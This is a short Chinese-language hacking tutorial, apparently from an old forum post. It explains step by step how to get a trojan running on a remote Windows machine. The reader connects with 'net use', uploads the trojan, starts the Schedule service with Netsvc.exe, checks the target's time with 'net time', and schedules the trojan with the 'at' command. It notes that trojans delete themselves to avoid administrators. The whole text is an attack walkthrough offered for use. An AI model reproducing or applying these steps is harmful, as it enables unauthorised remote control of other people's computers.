工具:Netsvc.exe 用于启动远程主机的schedule服务。
开始:开DOS窗口,输入net use \\ip 等等连接上目标主机。把木马上传到目标主机。建议放在你共享的所在目录,或系统目录WINNT下,执行时不用再输入程序所在路径。木马都有自我删除功能,所以一般不会被管理员发现。
上传木马后,键入:
C:/>netsvc \\ip schedule /start
启动目标主机的schedule服务(schedule服务用来定时执行某程序,我们可利用它来执行木马程序)。这过程可能会持续较久,一定要等到提示符出现才进行下一步,不要急急忙忙关了窗口.
然后键入:
C:/>net time \\ip
将显示目标主机的系统时间,如:14:43
记住这时间,接下来用AT命令往目标主机添加入定时启动木马程序的任务,键入:
C:/>at \\ip 14:45 trojan.exe
注意:这里我启动时间定为14:45而不是14:43,往后推迟了几分钟,这是考虑到命令往返于两机需要一定的时间(中国的网络速度实在太慢啦!)
至此,你只要等稍等几分钟过去,就可以打开你的木马客户器控制目标主机了,也不用那么麻烦地执行程序啦!木马程序的路径要设定好